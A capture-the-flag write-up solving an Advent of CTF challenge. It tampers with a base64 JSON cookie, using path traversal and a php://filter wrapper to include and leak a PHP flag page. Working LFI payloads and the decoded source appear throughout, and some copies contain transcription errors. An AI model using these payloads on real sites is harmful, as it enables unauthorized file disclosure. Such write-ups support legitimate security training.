## **AdventOfCTF-11**



Santa's book of secrets has upgraded its security. All should be fine now.

Visit https://11.adventofctf.com to start the challenge.





We find that this cookie gets set:

```
eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0%3D
```

If we try to decode this base64 encoded data we get

```
{"path":".","page":"main"}
```

This is very similar to challenge day 10. If we try to substitute the page main to flag we get this page back:

```
{"path":".","page":"flag"}
eyJwYXRoIjoiLiIsInBhZ2UiOiJmbGFnIn0=
```



We need to find a way of getting to the flag.php page. There many ways one is to use set the cookie to this value:

```
{"path":".","page":"main/../flag"}
eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluLy4uL2ZsYWcifQ==
```



Nice. Now we need to include the content of the page So let's try to use filters!

{"path":".", "page": "php://filter/convert.base64-encode/resource=main/../flag"}

eyJwYXRoIjoiLiIsInBhZ2UiOiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPW1haW4vLi4vZmxhZyJ9



The page is pretty locked down. Time to get creative.

```
{"path":"php://filter", "page":"convert.base64-encode/resource=main/../flag"}

And base64 encode it
eyJwYXRoIjoicGhwOi8vZmlsdGVyIiwicGFnZSI6ImNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1tY
WluLy4uL2ZsYWcifQ==
```

Edit the page cookie with this new one and refresh the page.

## Advent of CTF 11

Your daily dose of CTF for December

Pages in Santa's big book

PD9waHAKaWYoIWRIZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ
0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pdHRIZCcpOwp9Cj8+Cgo8aDQ
+V2h5IGRvZXMgRWdpc2NoZSBrZWVwIHNob3dpbmcgdXA/PC9oND4
KPD9waHAKCmlmICgkX0NPT0tJRVsiemVyb29uZW9uZSJdKSB7CiAgIC
AkZGF0YSA9IGpzb25fZGVjb2RIKGJhc2U2NF9kZWNvZGUoJF9DT09LSU
VbInplcm9vbmVvbmUiXSksIHRydWUpOwp9CgppZiAoZmFsc2UpIHsK
Pz4KICAgIDxwPgogICAgICAgIFRoZSBkYXJrIHNIY3JldCBvbiB0aGlzIHBh
Z2UgaXM6IE5PVkl7TEZJX2FuZF9zdDFsbF95b3VfZjB1bmRfaXR9CiAgIC
A8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYX
JllG9uIHRoZSByaWdodCBwYWdlLCBidXQgeW91IGNhbm5vdCBzZWUg
d2hhdCB5b3Ugd2FudCB5ZXQuIEdvlGdldCBwcm9tb3RlZCEKICAgIDwv
cD4KPD9waHAKfQo/Pgo=

Who has been most naughty?

PD9waHAKaWYoIWRlZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pd HRlZCcpOwp9Cj8+Cgo8aDQ+V2h5IGRvZXMgRWdpc2NoZSBrZWVwIHNob3dpbmcgdXA/PC9oND4KPD9waHAKCm lmICgkX0NPT0tJRVsiemVyb29uZW9uZSJdKSB7CiAgICAkZGF0YSA9IGpzb25fZGVjb2RlKGJhc2U2NF9kZWN vZGUoJF9DT09LSUVbInplcm9vbmVvbmUiXSksIHRydWUpOwp9CgppZiAoZmFsc2UpIHsKPz4KICAgIDxwPgog ICAgICAgIFRoZSBkYXJrIHNlY3JldCBvbiB0aGlzIHBhZ2UgaXM6IE5PVkl7TEZJX2FuZF9zdDFsbF95b3VfZjB1bmRfaXR9CiAgICA8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYXJlIG9uIHRoZSByaWdodCBwYWdlLCBidXQgeW91IGNhbm5vdCBzZWUgd2hhdCB5b3Ugd2FudCB5ZXQuIEdvIGdldCBwcm9tb3RlZCEKICAgIDwvcD4KPD9waHAKfQo/Pgo=

Base64 decoding this data becomes:

```
<?php
if(!defined('MyConst')) {
  die('Direct access not permitted');
}
?>
<h4>Why does Egische keep showing up?</h4>
<?php
if ($_COOKIE["zerooneone"]) {
   $data = json_decode(base64_decode($_COOKIE["zerooneone"]), true);
}
if (false) {
?>
       The dark secret on this page is: NOVI{LFI_and_st1ll_you_f0und_it}
   <?
} else {
   >
       You are on the right page, but you cannot see what you want yet. Go get promo
ted!
   <?php
?>
```

Flag: NOVI{LFI\_and\_st1II\_you\_f0und\_it}

